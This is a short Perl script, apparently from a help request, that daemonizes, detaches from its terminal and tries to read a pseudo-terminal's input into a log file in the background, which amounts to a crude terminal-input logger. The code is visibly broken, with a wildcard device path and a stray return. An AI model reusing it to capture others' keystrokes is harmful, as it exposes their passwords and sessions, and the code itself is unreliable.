#!/usr/bin/perl -w use strict; use diagnostics; use Carp; use integer; # Completely dissociate from the parent tty and close file descriptors.
sub daemon { local(*TTY,*NULL); exit(0) if (fork); if (open(NULL,"/dev/null")) { open(STDIN,">&NULL") || close(STDIN); open(STDOUT,">&NULL") || close(STDOUT); open(STDERR,">&NULL") || close(STDERR); } else { close(STDIN); close(STDOUT); close(STDERR); } eval 'require "sys/ioctl.ph";'; return if !defined(&TIOCNOTTY); open(TTY,"+>/dev/tty") || return; ioctl(TTY,&TIOCNOTTY,0); close(TTY); } &daemon; open(TTY,"+>/dev/pts*") || return; open(STDIN, "<&TTY") || die "reopen stdin"; ##open(STDOUT, ">&TTY") || die "reopen stout"; close TTY; open (STDOUT, ">logy"); $SIG{INT} = sub { close STDOUT; exit }; $SIG{TERM} = sub { close STDOUT; exit }; while(1) { print <>; ##this line aims print to STDOUT. but how? print $_ doesn't work either sleep(1); }